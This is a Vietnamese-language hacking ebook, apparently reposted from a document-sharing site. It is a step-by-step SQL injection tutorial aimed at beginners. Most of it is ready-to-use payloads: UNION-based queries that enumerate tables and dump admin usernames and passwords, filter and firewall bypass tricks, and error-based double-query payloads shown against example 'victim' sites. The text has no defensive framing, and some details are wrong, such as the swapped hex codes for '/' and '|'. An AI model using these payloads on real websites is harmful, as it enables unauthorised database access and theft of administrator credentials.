query sql basic & error based by quý tg

5
Các câu lệnh Query SQL Basic & Error Based/Double Query SQL injection I/. Lời mở đầu: - Mình biết rằng là có rất nhiều Ebooks và Tutorials hướng dẫn Newbie về cách dùng các câu lệnh để truy vấn vào 1 Website bị dính lỗi SQL, nhưng do một số Newbie vẫn chưa hiểu rõ về cách dùng và vẫn còn thái độ học vẹt từ TUT nên mình sẽ tổng hợp lại các câu lệnh đó và hướng dẫn chi tiết cách dùng như thế nào luôn. Nếu có gì sai sót hoặc thiếu trong quá trình làm Ebook mong các Pro góp ý chân thành cho mình. Mình sẽ tiếp thu hết tất cả Coment và cố gắng hoàn thiện hơn nếu có cho ra các Ebook khác. Xin Cám ơn mọi người. II/. Query SQL Basic: . ORDER BY (các số cột do ta điền): Số thì do chúng ta đoán, theo kinh nghiệm check site của tôi thì check 100-- - trước, nếu có lỗi chúng ta thử hạ về 10-- - nếu ko lỗi ta lại tăng lên 5 đơn vị. 10 15 20 25… và một điều nữa Site Việt Nam không quá 50 cột. +VD: http://www.victim.com.vn/product.php? id=1 order by 9-- - . UNION SELECT (chọn các số cột): câu lệnh này dùng để chọn các cột mà ta tìm được ở phần truy vấn ORDER BY và nhớ là thêm dấu “-“ hoặc dấu “ “ đằng sau số nằm phía cuối của trang web. +VD: http http://www.victim.com.vn/product.php? id =-1 UNION SELECT 1,2,3,4,5,6,7,8,9-- - . VERSION (phiên bản của Website): cho ta biết được Website ta đang check là phiên bản mấy chấm. +VD: http://www.victim.com.vn/product.php? id =-1 UNION SELECT 1,2,version(),4,5,6,7,8,9-- - . Lấy thông tin Table: làm bước này chúng ta có thể tìm được table cần tìm (user, users, tbl_users, admin, tbl_admin,…etc) group_concat(table_name) from information_schema.tables where table_schema=database()-- - +VD: http://www.victim.com.vn/product.php? id =-1 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()-- - . Lấy thông tin Column: khi đã có được các table ở câu truy vấn trên ta sẽ tìm cột của table đó. VD: tbl_users group_concat(column_name) from information_schema.columns where table_schema=0x74626c5f7573657273-- - Mã hóa: 74626c5f7573657273 = tbl_users

Upload: jennifer-hansen

Post on 08-Apr-2016

36 views

Category:

Documents


0 download

DESCRIPTION

SQL Injection

TRANSCRIPT

Các câu lệnh Query SQL Basic & Error Based/Double Query SQL injection I/. Lời mở đầu:

- Mình biết rằng là có rất nhiều Ebooks và Tutorials hướng dẫn Newbie về cách dùng các câu lệnh để truy vấn vào 1 Website bị dính lỗi SQL, nhưng do một số Newbie vẫn chưa hiểu rõ về cách dùng và vẫn còn thái độ học vẹt từ TUT nên mình sẽ tổng hợp lại các câu lệnh đó và hướng dẫn chi tiết cách dùng như thế nào luôn. Nếu có gì sai sót hoặc thiếu trong quá trình làm Ebook mong các Pro góp ý chân thành cho mình. Mình sẽ tiếp thu hết tất cả Coment và cố gắng hoàn thiện hơn nếu có cho ra các Ebook khác. Xin Cám ơn mọi người.

II/. Query SQL Basic: . ORDER BY (các số cột do ta điền): Số thì do chúng ta đoán, theo kinh nghiệm check site của tôi thì check 100-- - trước, nếu có lỗi chúng ta thử hạ về 10-- - nếu ko lỗi ta lại tăng lên 5 đơn vị. 10 15 20 25… và một điều nữa Site Việt Nam không quá 50 cột. +VD: http://www.victim.com.vn/product.php? id=1 order by 9-- - . UNION SELECT (chọn các số cột): câu lệnh này dùng để chọn các cột mà ta tìm được ở phần truy vấn ORDER BY và nhớ là thêm dấu “-“ hoặc dấu “ ‘ “ đằng sau số nằm phía cuối của trang web. +VD: http http://www.victim.com.vn/product.php? id =-1 UNION SELECT 1,2,3,4,5,6,7,8,9-- - . VERSION (phiên bản của Website): cho ta biết được Website ta đang check là phiên bản mấy chấm. +VD: http://www.victim.com.vn/product.php? id =-1 UNION SELECT 1,2,version(),4,5,6,7,8,9-- - . Lấy thông tin Table: làm bước này chúng ta có thể tìm được table cần tìm (user, users, tbl_users, admin, tbl_admin,…etc) group_concat(table_name) from information_schema.tables where table_schema=database()-- - +VD: http://www.victim.com.vn/product.php? id =-1 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()-- - . Lấy thông tin Column: khi đã có được các table ở câu truy vấn trên ta sẽ tìm cột của table đó. VD: tbl_users group_concat(column_name) from information_schema.columns where table_schema=0x74626c5f7573657273-- - Mã hóa: 74626c5f7573657273 = tbl_users

. Lấy User và Password Admin: khi ta truy vấn được cột USERNAME và PASSWORD thì ta dùng câu lệnh như sau để Get thông tin từ 2 cột trên group_concat(user_name,0x7c,password),4,5,6,7,8,9 from vh_users-- - +VD: http://www.victim.com.vn/product.php? id=-1 UNION SELECT 1,2,group_concat(user_name,0x7c,password),4,5,6,7,8,9 from vh_users-- - P/s: có nhiều bạn hỏi mình là cái 0x7c và 0x2f dùng làm gì? Thì sau đây là câu trả lời: 0x7c => dấu / 0x2f => dấu | 0x7c 0x2f : được dùng để tách phần USERNAME và PASSWORD riêng ra để chúng ta dễ dàng phân biệt đâu là USER và đâu là PASS III/. Bypass SQLi: Bypass SQL là sao? - Là khi các bạn truy vấn theo câu lệnh thông thường mà vẫn ko thấy dấu hiệu bất thường gì xảy ra thì đó là do Victim đã lường trước được câu truy vấn của các bạn và đã trang bị cho mình 1 bộ lọc hoặc firewall. Vì vậy chúng ta sẽ thay đổi câu lệnh khác đi một chút nhưng giữ nguyên bản chất nội dung của câu lệnh. Đó gọi là Bypass SQLi Các dạng Bypass tôi thường sử dụng: /*!...code…*/:

/*!UNION SELECT*/ /*!UNION*/ /*!SELECT*/

UNION all /*!50000SELECT*/ unhex(hex( : Table ẩn thì dùng lệnh Bypass này Tôi cũng xin giới thiệu với các Newbie trang web để lấy Bypass SQL http://root.vn/threads/tong-hop-cac-cach-bypass-sqli-kinh-dien.4815/ Demo tóm tắt cách dùng Bypass SQL: http://www.victim.com.vn/product.php?id=-1 UNION SELECT 1,2,group_concat(/*!table_name*/),4,5,6,7,8,9 from information_schema.columns where table_name=database()-- - http://www.victim.com.vn/product.php?id=-1 unhex(hex(group_concat(table_name))),4,5,6,7,8,9 from information_schema.tables where table_schema=database()-- - http://www.victim.com.vn/product.php?id=-1 UNION SELECT 1,2,group_concat(/*!column_name*/),4,5,6,7,8,9 from information_schema.columns where table_name=0x74626c5f7573657273-- -

IV/. Error Based/Double Query SQL injection : Câu lệnh Check Site Khi Site báo “MYSQL ERROR: Query error” ------------------------------------------------------------------------------------------------------------ Query khi Union Select ko được truy vấn: +Cách I: And(Select 1 From(Select Count(*),Concat((Select Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f)),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)HoihackerVN) +Cách II: And(Select 1 From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f),1,136)From tbl_user),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)HoihackerVN) +Cách III: and (select 1 from (select count(*),concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) from (select 1 union select 2 union select 3)TYN group by QuyTG)HoihackerVN) +Cách IV: or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- - => Ta sẽ get được version và các thứ linh tinh ------------------------------------------------------------------------------------------------------------ Query "Get Table_name": And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)HoihackerVN) ------------------------------------------------------------------------------------------------------------ Query "Get Columns_name": And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=... limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)HoihackerVN) Thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1... cho tới tên bẳng mà mình cần khai thác ------------------------------------------------------------------------------------------------------------ Query “Get Username & Password”: And(Select 1 From(Select Count(*),Concat((select concat(0x2f,...,0x2f,...,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)HoihackerVN) Demo:

Lấy Table_Name: http://www.victim.vn/index.php?chitiet&p1=23&p4=4567 And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)HoihackerVN) "admin" mã hóa nó thành 61646d696e Lấy Column_Name: http://www.victim.vn/index.php?chitiet&p1=23&p4=4567 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=61646d696e limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)HoihackerVN) "id" http://www.victim.vn/index.php?chitiet&p1=23&p4=4567 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=61646d696e limit 1,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)HoihackerVN) "username" http://www.victim.vn/index.php?chitiet&p1=23&p4=4567 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=61646d696e limit 2,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)HoihackerVN) "password" Lấy thông tin từ Username & Password: http://www.victim.vn/index.php?chitiet&p1=23&p4=4567 And(Select 1 From(Select Count(*),Concat((select concat(0x2f,username,0x2f,password,0x2f) from admin limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)HoihackerVN) TUT: http://pastebin.com/wVYbnKan http://www.youtube.com/watch?v=BxO27jOdkb4 (xem xong youtube sẽ thiếu phần cuối, và phần cuối là cái pic dưới này)

Các Tutorials Bypass SQLi: http://www.youtube.com/watch?v=jvQuRmZEvug http://www.youtube.com/watch?v=KwYW6Ujgr9E http://www.youtube.com/watch?v=X9spE-opqwY Ebook thực hiện bởi Quý TG. Xin chân thành cám ơn các bạn đã ủng hộ và góp ý chân thành.